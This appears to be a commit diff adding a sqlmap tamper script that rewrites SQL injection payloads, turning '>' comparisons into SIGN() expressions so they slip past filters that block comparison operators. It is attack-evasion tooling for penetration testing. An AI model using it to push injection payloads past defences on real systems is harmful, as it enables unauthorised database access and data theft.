Adding tamper script sign

tamper/sign.py

@@ -0,0 +1,47 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+import re
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+
+def dependencies():
+    pass
+
+def tamper(payload, **kwargs):
+    """
+    Replaces greater than operator ('>') with 'SIGN' counterpart (e.g. SIGN((A)-(B))=1)
+
+    Tested against:
+        * MySQL 5
+        * Oracle 11g
+        * PostgreSQL 9
+        * Microsoft SQL Server 2012
+
+    Notes:
+        * Useful to bypass filtering of comparison operators altogether (>, <,
+          >=, <=), as SIGN() needs none of them - only subtraction and '='.
+          sqlmap's blind inference always compares a numeric ordinal against an
+          integer literal, so SIGN((A)-(B))=1 is an exact equivalent of A>B
+          there (no NULL/decimal/date/collation/overflow concerns in that domain)
+
+    >>> tamper('1 AND A > B')
+    '1 AND SIGN((A)-(B))=1'
+    """
+
+    retVal = payload
+
+    if payload:
+        match = re.search(r"(?i)(\b(AND|OR)\b\s+)([^><]+?)\s*(?<![<>!])>(?!=)\s*(\w+|'[^']+')", payload)
+
+        if match:
+            _ = "%sSIGN((%s)-(%s))=1" % (match.group(1), match.group(3), match.group(4))
+            retVal = retVal.replace(match.group(0), _)
+
+    return retVal